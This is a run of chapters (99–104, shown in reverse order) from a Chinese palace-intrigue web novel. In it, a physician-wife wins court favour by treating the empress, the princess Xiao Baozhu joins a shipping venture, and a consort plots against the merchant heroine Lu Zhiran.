翠芙大惊道:“小姐,她们该不会是知道方家之事是我们所为吧?” 第104章 她就是这么做生意的? 谈完正事,菜肴也摆上了桌。 满桌珍馐美食,但这回萧宝珠的胃口明显没有上次好,吃饭都没那么香了。 她随便吃了些便放了筷子,陆知苒想到孙皇后的病情,出声宽慰,“皇后福泽深厚,很快就能好起来,公主不必担心。” 萧宝珠摇了摇头,“不是因为这个,以后我都要少吃些,免得损了公主的仪态。” 她说这话时,目光不舍地在饭桌上流连,最后还是努力挪开了。 陆知苒也放下了筷子,“臣女僭越,可是有谁在您跟前说了些什么?” 萧宝珠的身形圆润,身上肉乎乎的,并不符合当下以瘦为美的审美标准。 但以往,萧宝珠对此从不在意,照样该吃吃,该喝喝。 今日这番转变,委实奇怪。 一个人的脾性喜好,不可能一夕之间发生改变,除非发生了什么事。 萧宝珠飞快摇头否认,“没有。” 但神色间却笼着黯然之色。 陆知苒忆起前世,心中有了猜测。 能让萧宝珠如此的,大约便只有孙皇后了。 斟酌一番,陆知苒缓缓开口,“不知公主可了解臣女的家事?臣女自幼丧母,而后继母进门,臣女很快多了一个妹妹,父亲对其多有偏爱。” “我记得七岁那年生辰,奶娘给我做了一个风筝,我很高兴,妹妹看到了,非要抢,我不愿意,父亲却呵斥我自私狭隘,没有长姐风范,连一个小小的风筝也不肯让给妹妹。” 萧宝珠神情绷紧,“后来呢?” “后来父亲做主把风筝给了妹妹,她还故意邀请我一起去花园里放风筝,我不敢拒绝,便去了。结果,她放风筝的时候不小心绊了一跤,摔掉了门牙。” 萧宝珠“噗嗤”一声笑出声来,“活该。” 陆知苒也笑了笑,只是笑意很淡。 “但最后,我却被罚在祠堂跪了一夜,只因是我那风筝惹了祸事。” 从此以后,她再没过过生辰。 萧宝珠瞬间笑不出来了,一股愤怒袭上心头。 “怎么能这样?分明是她抢了你的风筝!” 陆知苒露出嘲讽之色,“是啊,我明明没有做错,可责难却落于我身,归根结底,只是因为我不被偏爱罢了。不被偏爱的人,做什么都是错的。” 萧宝珠心口被刺了一下。 不被偏爱的人,做什么都是错的。 她明白了陆知苒说这番话的用意,心底泛起了阵阵涟漪。 “那要怎么办?” 陆知苒淡然一笑,“强求不来的东西,舍了便是。” 萧宝珠心头一震。 七皇兄也说过同样的话。 道理她都懂,可从未得到过,心底怎会不渴望? “若舍不掉呢?” 萧宝珠双眸期盼地望着她,想要从她这里得到答案。 陆知苒语气坚定,“那就站到高处去,只要站在足够高的位置,拥有足够强大的能力,就能被看到。当你强大到不需要依附对方,不需要低头祁怜,或许曾经渴望却得不到的东西,就能轻松拥有了。” 或许,到那时候,她就会发现,她已经不需要了。 就像现在的自己。 曾经渴望父亲的关爱,现在得到了,她却已不再稀罕。 萧宝珠也想到了陆知苒的经历,面上多了一抹若有所思。 但很快她又泄气了,“并非人人都是你,我除了吃以外,一无是处。” 她又懒又馋,还有点蠢,吃不了半点苦,能做出什么惊天动地的事让母后刮目相看? 陆知苒笑道:“公主有钱啊。很快,您的银子就会翻倍增长。” “这有什么,母后比我有钱多了。” “皇后的银子是身份和地位换来的,公主的银子却是靠自己的实力赚到的。” 萧宝珠心虚,“……我,也不是凭实力赚到的吧。这次我也只出了本金,其他什么都没做。” “选择也是一种实力,公主慧眼识珠,选中了臣女作为合伙人,这便是公主的本事。” 萧宝珠:……没见过这么夸自己的。 “银子还没赚到呢。” 陆知苒:“心诚则灵,只要公主坚信咱们能大赚一笔,定能得偿所愿。” 萧宝珠:…… 敢情她就是这么做生意的? 虽然很离谱,但看着她那副笃定的神色,萧宝珠竟然莫名觉得有了信心。 陆知苒把一道菜推到了她面前。 “这个椒盐乳猪蹄,外焦里嫩,肉质弹牙,公主定然喜欢。” 萧宝珠的眼神瞬间粘了上去,几乎要拉丝。 艰难地咽了口唾沫,她还是决绝地往外推。 “我吃饱了。” 肚子发出一声绵长的鸣叫,无情拆穿了她的谎言。 陆知苒又往她面前推了推,“吃吧,少吃这一顿,也改变不了什么,除了为难自己,没有任何意义。” 萧宝珠的神情微顿。 她捏了捏自己肚子上的软肉,“可母后说的也没错,没有哪个公主像我这样。” 陆知苒一本正经,“的确没有哪个公主像您这样,珠圆玉润,憨态喜人,满身的福气无人可比。” 萧宝珠再次愣住,她那黑葡萄般圆溜溜的眼睛瞪得大大的,眸底一点点蔓上了一丝湿润。 阿笙也对她说过同样的话。 阿笙离开了京城,她的情绪没有发泄口,便一直沉沉压在心头。 现在,所有的坏情绪,终于又重新找到了宣泄,一种被人关心在乎的暖意漫上心头,原本灰沉沉的心情也终于慢慢开朗明媚起来。 萧宝珠拿起了一个乳猪蹄,豪放地咬了一口。 焦香的外皮,弹牙的肌理,软糯的肉质,她瞬间被香迷糊了。 眼底那抹微潮的湿润被压下,她陶醉地喟叹一声。 “真香!” 她吸了吸鼻子,“你说得没错,少吃这一顿,也没人夸我,除了为难我自己,没有任何意义。” 她便是瘦成陆知苒这样,母后也同样能挑出刺来。 用这样的方式讨好母后,没有任何作用。 她化悲愤为食欲,一连吃了三个,依旧意犹未尽。 陆知苒破天荒地也吃了一个,的确是焦香扑鼻,味道十分不错。 这厨子不错,回头就赏。 陆知苒笑道:“有没有人说过,跟您一块儿吃饭很香?光是看着公主大快朵颐,都会觉得格外满足。” 萧宝珠笑眯眯的,“阿笙说过,你总能和她说到一处。” 顿了顿,她又道:“七皇兄说,看我吃饭像猛虎扑食,他担心我全吃了,所以每次也只能吃得飞快。” 第103章 宁可错杀,不可放过 李贵妃眸光瞬间幽深,周身气势也沉了下去。 她幽幽开口,“你倒是给本宫提了个醒……” 原本她以为,萧晏辞即便风头再甚也是一时的,敌不过他们多年的苦心经营。 赵书宁的话却让她一个激灵,清醒了。 万一,萧晏辞也同他们一样,早早就在布局谋划了呢? 以往他有破财之名,无人将他视作对手,自然无人关注他。 在他们不知道的时候,只怕他已经暗地里培养了不少势力。 是他们轻敌了! 退一万步讲,就算这一切都是他们想多了,也断不能继续姑息。 宁可错杀,不可放过! 赵书宁知道,李贵妃是把自己的话听进去了。 只要她信了自己的话,必然不会轻易放过陆知苒。 果然,李贵妃眼底厉色尽显。 “既如此的话,有些人,怕是留不得了。” 萧晏辞她轻易动不得,但陆知苒,就没有什么好顾忌了。 除掉她,便相当于斩了萧晏辞一臂,看他还有什么资格与自己儿子争! “本宫若是让你除掉陆知苒,你可有把握?” 赵书宁心头一凛,“能得贵妃信任是臣妇之幸,臣妇莫敢不从。只是……” 李贵妃面色微冷,“怎么,你不敢?” 赵书宁连忙道:“自然不是,臣妇对陆知苒恨之入骨,自然恨不得将她粉身碎骨,又有何可惧?只是,臣妇认为,从大局来看,眼下还不是除掉陆知苒的最佳时机,她还有更大的利用价值。” 李贵妃的神色稍缓,“细细说来。” “她乃商贾,手上的产业和财富丰厚程度远超常人想象。这般巨财,若能为六皇子所用,岂不是如虎添翼?此时除掉她,若她的财产都被瑾王转移了,岂不白费功夫?” 李贵妃精神一振,头脑瞬间清醒了。 她真是糊涂了,竟然没有想到这一层。 萧晏辞真正的臂膀不是陆知苒,而是陆知苒背后的财力。 除掉一个陆知苒简单,真正难的是把萧晏辞的钱袋子掏空! 若是能把陆知苒的财富收为己用,何愁大业不成? 这一次,李贵妃看向赵书宁的眼神变得不一样了,语气也多了几分郑重,“你可有什么良策?” 赵书宁暗暗舒了口气,她知道自己这步棋算是走对了。 她的确恨不得陆知苒马上去死,但死是最简单的事,她要让陆知苒亲眼看到自己拥有的一切一点点的失去,再毫无尊严的死去! 且能借此机会获得李贵妃真正的信任,才是最划算的买卖。 赵书宁将自己的计划缓缓道来,李贵妃闻言,面上不禁露出喜色。 “好好好,就依你的计划来办。” 她看着赵书宁的眼神又多了几分欣赏。 “本宫没有看错你,你果真是有大才之人。” 赵书宁诚惶诚恐地叩首,“承蒙贵妃不弃,数次提携臣妇,臣妇无以为报,唯有尽心尽力,为贵妃谋划,助六皇子登上大宝,方能报答贵妃的恩情。” 李贵妃听了这番话,心中更加满意。 她又对赵书宁一番嘉奖,还赏了她不少好东西。 赵书宁拿着这些赏赐,脸上缓缓露出一抹笑。 陆知苒,咱们的较量才刚刚开始,且看谁更技高一筹! 柔妃花了几日时间换好五十万两银票,萧晏辞没敢接手,让萧宝珠代劳,给陆知苒送去。 萧宝珠最近一直蔫蔫的,原本圆乎乎的脸都消瘦了不少。 看着摆在自己面前,码得整整齐齐的信封,萧宝珠满脸疑惑,随手打开,看清里面的东西,她的手狠狠一哆嗦。 一千两面额的银票,足足五百张。 “不是,皇兄,你哪儿来这么多银票?” “这你别管,给我送到平乐县主手里就行。五十万两,半个铜板都不能少。” 萧宝珠眼睛瞪得圆溜溜的,“好端端的,你给人家送那么多银票做什么?” 萧晏辞也没有瞒她,“我在与她合伙做生意,这是我的本金。” “你玩这么大!不怕亏得血本无归?” 萧晏辞语气笃定,“上回我跟着她一块儿囤炭囤棉花便没错,这回定然也错不了。” 萧宝珠惊讶,“你上回就是跟平乐县主合的伙?我就说嘛,你怎么会有这么好的眼光。” “你要不要投点?反正你的银子放着也是放着。” 本只是随口一问,没想到她没多少迟疑就答应了。 “好啊。” 萧晏辞:…… “你都不问问是什么生意?” “哦,是什么生意?” 萧晏辞无语地看了她半晌,心道,就她这没脑子的样子,手里的银子还能不被骗光,真的多亏了老天爷开眼。 萧晏辞把海运之事简单道来,萧宝珠的眸中亮起了钦佩的光芒。 “平乐县主真厉害,好像没有她不会做的生意。” 她和南笙一个擅经商,一个擅医术,都很厉害。 只有她,除了公主的身份以外,一无是处。 萧晏辞唇角勾起一抹笑,“她的确很厉害。” “我也投五十万吧,反正我不缺钱,亏了也无关紧要。” 她这轻飘飘的语气,让萧晏辞默了默。 好,行,她有钱,她豪横,她说了算! 萧宝珠又给陆知苒下了邀约,依旧是老地方。 一进门,陆知苒下意识环顾一圈,只有萧宝珠,没旁人。 “今日只我一人,七皇兄没来。” 她这么一解释,反倒让陆知苒尴尬了一瞬。 萧宝珠是个爽快人,直接把一沓厚厚的银票摆了出来。 “这是七皇兄让我转交给你的,五十万两银票,是他投到海运的本金。” “我也想入伙你们的生意,这是我的本金,跟七皇兄的数额一样,也是五十万两,你数数。” 陆知苒:…… 饶是见过大风大浪的陆知苒,也被她这番豪横的架势镇住了。 银票摆了出来,她才问,“忘了问了,我想入伙,可以吗?” 陆知苒毫不犹豫,“当然可以!” 她都拿出了五十万两的敲门砖,便是再厚的门也敲得开! “不过,海运不比其他生意,利润的确丰厚,但风险也颇大,您的这五十万两,有可能会变成五百万甚至更多,也有可能会血本无归。” 萧宝珠点头,“这我知道,七皇兄都告诉我了,我是自愿加入,亏了也不打紧。” 她现在只想做些什么,折腾点什么,哪怕出格,也好过平静如死水一般。 陆知苒听了她这话,也默了默。 她就算有钱,也不会拿出五十万两眼睛眨都不眨。 还得是当朝公主,才有这般豪横的魄力啊。 陆知苒让翠芙把那两大沓银票收好,语气郑重,“承蒙您和七皇子信任,臣女定不会让二位失望。” 第102章 连陌生人都不如 说完,他便转身,抬步要走。 赵书宁胸口上下起伏,朝着他的背影大喊,“今日我被传召入了宫,你不想知道我入宫做了什么,最后结果如何吗?” 楚翊安脚步停住,回头,满脸怀疑。 “你入了宫?” 赵书宁傲然挺胸,“没错,皇上亲自下口谕传召的我。” 楚翊安有些不信。 “皇后昏迷,危在旦夕,皇上召我入宫诊治。全太医院都无人治得好的病症,被我治好了。” 楚翊安眼底闪过诧异,一股惊喜后知后觉地泛上心头,看她的眼神也慢慢变了。 赵书宁将他的神色变化尽收眼底,脸上傲然之色更甚。 “此次是李贵妃向皇上举荐的我,我立下了功劳,她便又为我请功,皇上已经准许我自由出入皇宫,为皇后和李贵妃诊脉。” “李贵妃愿意给我这个机会,便说明她和六皇子并未放弃侯府。假以时日,我定能再替侯府挣回荣光。” 楚翊安看她的眼神充满了复杂,没想到,她能那么快就重新得到重用。 赵书宁伸手,轻轻地拉住他。 这一回,楚翊安没有甩开。 赵书宁望着他,眸中含着灼亮的光。 “翊安,你相信我,这一次,我定然不会让你失望。我会向世人证明,我半点都不比陆知苒差,你的选择没有错!” 楚翊安垂眸看着她的手,原本冷硬的心,终于一点点慢慢柔软下来。 到底拉不下脸说软话,便只是沉默着收起了浑身的刺。 赵书宁抬手,轻轻摸向他脸侧的伤处。 “疼不疼?” 楚翊安抿了抿唇,“小伤而已,他们也没占到什么便宜。” 赵书宁既愧疚又恼恨,“那些狗眼看人低的东西,再怎样你也是侯府的公子,他们怎么敢?” 楚翊安眸底泛起冷光,“他们都是陆知苒的裙下臣,为了她,自是奋不顾身。” 卫所的士兵多数出身不高,这次收容所里收容的甚至还有他们的亲眷,陆知苒舍利取义,救万民于水火,他们满心感激,楚翊安这个陈世美,自然被群起攻之。 “我就知道是她,她这是要对你赶尽杀绝啊!” 楚翊安的怒火被挑起。 都说最毒妇人心,果然不假! 再怎样,他们也夫妻一场,可那女人,从一开始就算计侯府,半点不留情面,当真心如蛇蝎! 赵书宁将他的反应尽收眼底,心中那抹若有若无的危机感慢慢抚平。 “她现在不过是秋后的蚂蚱,蹦跶得再凶也是暂时的,我们不要再提她,到屋里让我看看你身上的伤。” 赵书宁亲自调配了伤药,给楚翊安卖力地揉了一通,他原本酸痛的地方很快缓解,心头也升起更多柔情。 如书宁这般的女子,方为真正的贤内助。 这晚,赵书宁没回青黛阁,留宿在了世安居。 很快,赵书宁再次得到重用的消息便传开了。 翠芙和丹烟又开始背地里蛐蛐,“怎么每次她的运气都这么好?” “对啊,老天爷真是太不开眼了!” 陆知苒的反应很平淡。 她知道赵书宁不简单,不会那么轻易被打倒。 但凡有一丝机会,她都会不遗余力牢牢抓住。 若是没有机会,她也会不择手段地创造机会。 她这样的人,除非彻底把她摁死,不然,不说诰命还在身,她还只是被革职而已,总能蹦跶起来。 来日方长,且走着瞧。 赵书宁日日入宫给孙皇后诊脉,孙皇后的病情一天天好转。 只是底子太差,经过这一番折腾,她的身子更加虚弱,只能好生养着。 萧宝珠一直在坤宁宫守着,亲自侍奉汤药,尽心尽力。 李贵妃笑着夸她有孝心,孙皇后脸上神色淡淡的,萧宝珠也没有笑。 李贵妃自讨了个没趣,对赵书宁道:“本宫身子也有些不爽利,你来给本宫瞧瞧。” 赵书宁向孙皇后告退,低眉顺眼地跟着李贵妃走了。 李贵妃患的是妇人病,她这把年纪了,癸水非但没停,每次来时还会淋漓不尽,持续半月之久。 前段时日赵书宁给她调理了一番,这毛病好了大半,但腰腹却时而酸胀。 回到毓秀宫,李贵妃懒懒地半倚在小榻上,让赵书宁给她揉按腰腹,缓解酸痛。 赵书宁立马恭敬上前,动作轻柔地揉按起来。 她的手法不错,很快就按得李贵妃神情舒缓,惬意地合眼小憩。 那对母女可真有意思,连陌生人都不如。 不过这样也好。 萧宝珠跟萧晏辞关系亲厚,若萧宝珠在孙皇后面前得脸,哄得孙皇后支持了萧晏辞,他们可就多了一个强劲对手。 “赵氏,本宫两次提携你,你可不要辜负本宫的一片苦心。” 赵书宁立马恭敬回话,“臣妇不敢忘贵妃的提携之恩,定竭尽所能,为贵妃效犬马之劳。” “漂亮话谁都会说,本宫可不吃这一套。” 赵书宁的手微微一顿,“臣妇有一事,正待回禀贵妃。” 李贵妃的眼睛依旧没有睁开,语气懒懒的。 “说。” 赵书宁缓声开口,“据臣妇推测,平乐县主与瑾王来往颇深……” 李贵妃嗤笑一声,“这还需要你推测?你就拿这样的话来糊弄本宫?” 赵书宁听出她话里的不悦,连忙起身跪下。 “贵妃息怒,臣妇绝不是糊弄您。您或许不知,他们二人的来往远比我们以为的要早得多。臣妇派人调查过,当初瑾王是与太仓商行的商队一道回的京城,可见,瑾王早就知道陆知苒就是太仓商行的东家,甚至,太仓商行于西平立下的功劳多半也有瑾王的一份力!” 李贵妃猛地坐直了身子,“此话当真?” 这话只有前半段有实证,后半段是她与楚翊安推测出来的,但赵书宁却言辞笃定,说得跟真的一样。 “如此要紧的事,臣妇岂敢信口胡说?您若是有所怀疑,大可派人去查一查,看看瑾王是否是与太仓商行的管事一同回的京。” 李贵妃眼底闪过一抹惊疑不定。 萧晏辞和太仓商行往来甚密,这是明眼人都看得到的事实。 只是她没想到,他们的往来竟然在那么早以前。 若太仓商行在西平立下的功劳当真有萧晏辞的一份,事情就有些超出掌控了。 这说明,太仓商行实际上就是萧晏辞的钱袋子,他根本不似大家所以为的那般,天生破财。 他牢牢捂着自己立下的功劳,绝不是因为高风亮节,做了好事不留名,而是时机未到,他要把这个筹码用在恰当的时候。 这段时间,他屡立功劳,在皇上面前颇为得脸,便是朝臣对他也大有改观。 若他再添一功,对晏清就会造成巨大的威胁! 第101章 强求不来的东西,舍了便是 前不久,赵书宁刚被德丰帝撸了医女的身份,此时她便是立了功,皇上也不好马上收回成命,再给她封个医女的身份。 李贵妃的这番提议十分恰当地替德丰帝递了台阶。 沉吟片刻,德丰帝点头答应了,赵书宁立马叩首谢恩。 德丰帝又问,“你还想要什么赏赐?” 赵书宁连忙推辞,“皇上能特许臣妇入宫为皇后和贵妃诊脉,已然是对臣妇最大的认可和恩赏,臣妇断不敢再讨要赏赐。” 她这番知进退的表现,又让德丰帝满意几分。 赵书宁恭敬告退,走出坤宁宫。 看着天上纷纷扬扬的雪花,她唇角微勾,眼睛亮得惊人。 寒冬终究会过去。 春日迟早会到来。 她会用实力向所有人证明,她半点都不比陆知苒差。 萧晏辞没有立马出宫,等到萧宝珠从坤宁宫中走出来,他抬步上前。 她的鼻头红红的,眼睛也又红又肿,左脸肿得老高,整个人都没了以往的活泼,笼着一层深深阴霾。 萧晏辞把手中的东西递给她,“散淤的药,敷一敷。” 接过那药,萧宝珠鼻头一酸,险些落下泪来。 只有皇兄注意到了她脸上的巴掌印。 “陪皇兄走走。” 萧宝珠点了点头。 两人信步前行,萧晏辞什么都没问,好似就只是在陪她散步。 半晌,萧宝珠才闷闷地开口。 “我不小心,把大皇兄幼时画的一幅画弄坏了。” 她口中的大皇兄,是孙皇后早夭的嫡子。 他是嫡长子,又自幼聪慧,若没有出事,定是板上钉钉的太子。 孙皇后痛失爱子,多年不曾走出来。 幼时的她,总是笨拙地想讨好母后,却总换不来母后一个笑脸。 以前她不懂为什么,后来,她听到宫人私下嚼舌根。 “大皇子自幼聪慧,三岁能读三字经,五岁能读千字文,九公主连他一根手指头都比不上,还拖垮了皇后的身子,自然不讨喜。” 那年她才五岁,本是懵懵懂懂的年纪,在那一刻突然长大了。 母后拼着高龄怀孕生子,满心期望能生下儿子,谁料却是个公主。 她的到来,并不受欢迎。 所以母后从不抱她,也很少对她笑。 萧宝珠平日里没心没肺,大大咧咧,独独遇到孙皇后和嫡长兄有关的事,敏感而脆弱。 萧宝珠涩声开口,“方才,我进去看母后,她冲我招手,我好高兴,她看我的眼神好温柔。可是,她唤的却是大皇兄的名字……” 听到那声低低的呼唤,萧宝珠的心瞬间碎了。 萧晏辞听了她的讲述,心口不受控制地猛地一缩,一股难言的心疼浮上心头。 第一次觉得自己口舌笨拙,竟不知该如何宽慰。 若是南笙在就好了,她总有法子让宝珠展露笑颜。 沉吟半晌,他才缓缓开口,“很多事情,其实就像一杯水,泼在衣服上,衣服湿了,好像天要塌了。可倒在汪洋大海里,就会发现它根本不值一提。” 萧晏辞抬手摸了摸她的发顶,“宝珠,你的世界不止有母后,还有父皇,有南笙,有我,不要因为一个人,彻底否定自己。” 偏爱是世上最不讲道理的东西。 既然强求不来,索性舍了便是。 萧宝珠的眼眶酸酸涩涩的,但心口却是泛出了暖与甜。 至少,她的身边还有人真正关心着自己。 赵书宁带着好消息回到了宣平侯府。 姜氏不得不承认赵书宁的确有几分本事,她倒是能屈能伸,捏着鼻子重新调整自己对待赵书宁的态度。 即便是被赵书宁一番冷嘲热讽,她也都忍了。 楚云清心中憋着一股气,也实在拉不下脸重新讨好对方,便索性避而不见。 青黛阁的待遇恢复往常,甚至提升了一个档次,前些时日克扣了青黛阁待遇的几个下人被发落了出去,碧莹狠狠出了口恶气。 “一个个捧高踩低的玩意儿,看他们以后还敢不敢刁难咱们。” 赵书宁勾唇,露出一抹志得意满的笑。 她赵书宁能从西平边陲那样的地方爬到京城侯门少夫人的位置,又岂是那么容易被打倒的? 她来到了世安居。 自从除夕夜的那场变故之后,她就再没见过楚翊安。 并非不想见,而是拉不下脸,也不想面对他冷若冰霜的态度。 现在,她又有了底气。 楚翊安踏着沉沉暮色回到侯府。 门房看到他的模样,吓了一跳。 他衣裳被磨破了好几处,脸上好几处淤伤,走路时,腿脚亦是一瘸一拐,看上去十分狼狈。 被降职之后,他在卫所遭到了不少冷嘲热讽,还被人带头孤立。 他不欲节外生枝,一概忍着,只埋头操练武艺。 但他越是忍耐,对方越是不依不饶,一再挑衅。 “有些人真是有眼无珠,放着珍珠不要,反把鱼目当宝贝,如今平乐县主是飞上枝头的凤凰,可不是某些破落户能高攀得上的。” “对啊,有些人捡了芝麻丢了西瓜,真好笑。” 一群人一起起哄,字字句句都戳到他肺管子上。 在有人故意拿肩膀撞他时,楚翊安终于爆发了,与人扭打在了一处。 他武艺不凡,又发了狠劲,那四五个人在他手底下也没占到太多便宜。 当然,他自己头脸上也都挂了彩。 最后,闹事的几人被各打了五军棍,又罚了三个月月银,此事方作罢。 下人要去向姜氏回禀,被他呵止了。 眼下府里是多事之秋,他不想让母亲担心。 拖着伤体回到世安居,一道人影便朝他飞扑而来。 “翊安……” 赵书宁刚一碰到他,他就疼得倒吸凉气。 再看他的脸,赵书宁的面色一下沉了下去。 “你怎么了?是谁伤的你?” 她抬手想碰他的脸,楚翊安偏头避开了,眼底透着冷淡。 “你来做什么?” “我来看看你。你以往也是这么晚才回来吗?卫所的人就是这么欺负你的?” 赵书宁的声音扬高,满是激愤。 楚翊安冷冷道:“不用你管。” 赵书宁咬了咬唇,“翊安,我只是想关心你,你又何必一直拒我于千里之外?” 楚翊安的眸底闪过嘲讽,“你说为什么?我所经受的这一切,全都拜你所赐!” 赵书宁握紧双拳,“这件事分明是陆知苒和瑾王联合设局,他们才是罪魁祸首,你怎能把所有过错都怪在我的头上?” 楚翊安身心俱疲,实在不想继续与她进行无畏的争执。 “你说怎样就怎样吧,随你。” 第100章 老天爷都在帮她 赵书宁的眼睛倏而又亮了起来。 贵妃没有放弃她! 这次,她只能成功,不能失败! 若失败了,她就真的要彻底沦为一颗弃子了。 她立马向宫人打探了一番皇后的病症,那宫人事无巨细地一一道来,赵书宁一边听着,脑中飞快运转,思忖着诊治之法。 刚进坤宁宫,赵书宁就感受到了那股低沉压抑的气氛。 “臣妇拜见皇上。” 德丰帝直接下令,“皇后昏迷不醒,你去给皇后诊脉。若有差池,唯你是问。” 赵书宁低声应是。 待看到床上那面容枯槁之人时,她的心微微沉了沉。 诊脉过后,她也有了更加直观的判断,皇后的情况,不容乐观。 她此前并未诊治过类似的病患,对此全无把握。 但她决定豁出去,赌一把。 她照着先前宫女所说,镇定地复述了出来。 末了道:“唯有九转还魂针,或能救回皇后娘娘一命。” 蒋老太医原本对赵书宁十分看不上,此时听了她的这番话,倒是有几分刮目相看。 忍不住开口,“你可会这套针法?” 赵书宁镇定地点头。 她没有说谎,没人知道,其实她的看诊施药不如她的针法。 早年间,一次偶然的机会,她给一位贵妇在胸口处施了一套针法,救了对方性命。 这件事让她大受启发,她开始钻研需要在胸口、后背和其他私密处施针的针法。 世间大多数大夫都是男子,若勋贵人家的女眷病重需要施针,就会多有不便。 这便是她的机会。 而今,机会再次落在了她的头上。 果然,这次老天爷都在帮她! 蒋老太医眼中带上几分怀疑。 他开口考教了一番,赵书宁都能对答如流,蒋老太医的疑虑消失了大半。 李贵妃抚着胸口,似松了口气,“看来,这回赵氏是请对了。由她为皇后施针,皇后定能转危为安。” 德丰帝沉声开口,“赵氏,你可有十足把握?” 赵书宁如实回答,“臣妇不敢保证,至多只有五成把握。但臣妇愿意一试。” 此事风险不小,但若没有风险,也轮不到她。 放手一试,未必没有一线生机。 就如同她此时的处境,要想逆风翻盘,唯有下一剂猛药。 萧宝珠的心高高提起,五成把握,也就意味着有一半失败的可能。 因着对赵书宁本能的厌恶,她心中的抗拒更甚。 “只有五成把握,若母后出了事,你担得起吗?” 赵书宁低着头,“皇后身份贵重,臣妇位卑言轻,如何敢把自己的贱命与皇后相提并论?若皇后当真因臣妇有个三长两短,臣妇万死难辞其咎。但皇后的情况凶险,若什么都不做,只怕也……” 萧宝珠狠狠咬唇,说不出话来。 赵书宁重重叩首,言辞恳切,“皇上,臣妇斗胆,愿为皇后施针!若有失误,臣妇愿以死谢罪!” 她彻底豁了出去。 不成功,便成仁! 她能有此孤注一掷的勇气,倒是比太医院这些缩头乌龟强。 德丰帝眼里多了几分欣赏,“准!” 萧晏辞看着赵书宁,心中升起一个念头,此人不简单,日后,她只怕会是陆知苒一个强劲的对手。 宫人开始为接下来的施针做准备。 这是赵书宁第一次施这套针法,她又立下了军令状,心头十分紧张。 她虚心地向蒋老太医求教施针的方法和窍门,蒋老太医摒弃前嫌,一一解答。 得他一番毫无保留的提点,赵书宁原本的紧张这才慢慢平复。 准备就绪,赵书宁进了里间,蒋老太医在一屏风相隔之处,为孙皇后诊脉,众人则在外间候着。 赵书宁每下一针,孙皇后的脉象便会有所变化。 若她的针法有所偏颇,蒋老太医立马就能通过脉象判断出来,给出相应的指点。 二人的声音不远不近地传出来,萧宝珠原本紧绷的心弦一点点放松下来。 有蒋老太医坐镇,母后定然无事。 足足一个多时辰,这场施针才终于结束。 赵书宁取下最后一根针,后背已经被冷汗湿透,手心更是一片濡湿。 然而,她并不敢就此放松。 此局是生是死,还未可知。 又过了小半盏茶时间,孙皇后的眼睫轻轻按颤了颤,缓缓地睁开了眼睛。 宫人惊喜道:“皇后醒了,皇后醒了。” 蒋老太医诊脉的手收了回去,他苍老的脸上露出一抹微笑,“皇后已然脱险了。” 这一刻,赵书宁悬着的心终于落到了实处,一直紧绷的背脊也塌了下去。 她赌赢了! 萧宝珠第一个冲进来,想扑上去又不敢,有些怯怯地站在床边。 孙皇后虚弱地朝她抬手,萧宝珠立马上前,一把握住她的手。 触到那枯瘦又冰冷的手,萧宝珠的眼泪再也忍不住,扑簌簌地往下掉。 “母后,对不起,对不起……” 孙皇后张嘴,低低唤了一声什么,萧宝珠的眼泪倏而止住,双目失神,怔怔地忘了反应。 赵书宁轻声开口,“皇后的身体依旧很虚弱,要好好休息。” 萧宝珠回神,想抽回手,却发现她握得很紧。 她轻轻反握住对方的手,安安静静地守在了床边。 赵书宁退出里间,李贵妃朝她投去欣赏的目光。 她胆子够大,敢豁得出去,还有真本事,这样一枚棋子,的确堪用。 德丰帝看她的眼神也多了几分欣赏。 “赵氏,这次你救了皇后,功不可没。” 赵书宁诚惶诚恐道:“臣妇才疏学浅,缺乏经验,方才多亏了蒋老太医从旁指点,臣妇才能顺利完成施针,真要论功,蒋老太医当居其首。” 摔了一次大跟头,赵书宁已经学会收敛锋芒,态度上也更加谦逊诚恳。 蒋老太医对她也有了些许改观。 至少,她方才的表现很不错,落针很稳,没有出岔子。 德丰帝心情不错,“你们二人都功不可没。” 李贵妃笑着道:“蒋老太医就不必说了,您可是太医院的老泰斗,您的医术无人能及。今日赵氏的表现才是真正的令人刮目相看。” “皇上,臣妾斗胆,想厚着脸皮向您要了她,望您准她随时入宫替臣妾诊脉。臣妾也上了年纪,身上时不时就有些小毛病,太医院的太医终归是男子,男女有别,赵氏的话,臣妾用得倒是颇为合心意。而且,皇后的身子也需要好生调理。” 第99章 真是个蠢货 姜氏怒喝,“你要做什么?” “嘭!”一声,赵书宁把食盒往桌上一放,“我来给母亲送饭。” 她将食盒中的饭菜一碗碗端了出来,馊臭的饭菜,与桌上的珍馐形成强烈对比。 楚云清怒骂,“你把馊的饭菜送来给母亲,你安的什么居心?” 赵书宁冷冷地看着她,“你也知道这是馊的?那你们让厨房给我送这些狗都不吃的饭菜,又是安的什么居心?” 楚云清面色微僵了一瞬,旋即梗着脖子,语气恶毒。 “你现在是侯府的罪人,侯府愿意给你一口饭吃已经是格外仁慈,你还有什么资格挑三拣四?” 赵书宁阴恻恻地笑了。 “看来,老虎不发威,你们都以为我是病猫!” 对上她那眼神,姜氏有些忌惮,又有些恼怒。 “赵氏,你想如何?” “我不想怎样,我就只是想好好活着罢了。若连这都做不到,那大家索性都别活了。” 她语气平静,眼底却带着疯魔。 姜氏眸底笼着厉色,“你别想拿那些话吓唬人,你现在算个什么东西,真以为自己能翻云覆雨?” 这贱人,害得她的安儿被贬,她岂能咽下这口气? 侯府还供她吃喝已是格外仁慈,她还有什么资格挑拣? 赵书宁似笑非笑地看向姜氏,“母亲,当初父亲是如何信誓旦旦地揣测陆知苒和皇上的关系,您应当没有忘吧?若我把此事捅到皇上跟前,您猜,皇上会不会直接把父亲的爵位给撸了?” 姜氏面色大变。 “你疯了不成?” “我就算是疯了,也是被你逼疯的。大不了,我们谁也别想好过!” 楚云清一头雾水,“什么关系?你们在说什么?” 无人理会她。 姜氏死死盯着赵书宁,“你连皇上的面都见不着,真以为握着那所谓把柄就能把侯府怎么样?痴心妄想!” 从来都是婆婆拿捏媳妇,还从没有哪个媳妇敢骑到婆婆头上去!她真是反了天了! 赵书宁神色一沉,正欲开口,外头便传来婆子急冲冲的通传声。 “夫人,夫人,皇宫来人了!” 姜氏一下站了起来,眼底燃起一抹希冀。 “是什么人?所为何事?是不是皇上给安儿下圣旨,要重新提拔他?” 传话的婆子神色微微顿了顿,看了赵书宁一眼。 “是来传召少夫人的。” 姜氏和楚云清满脸愕然。 “好端端的,传召她入宫做什么?” “皇后病重,皇上请少夫人入宫诊治。” 姜氏母女呆愣当场。 赵书宁眼神倏而一亮。 她的机会终于来了,这次,连老天爷都在帮她! 她唇角勾起一抹意味不明的笑。 “有些话真是说不得,您瞧,面圣的机会这不就来了吗?” 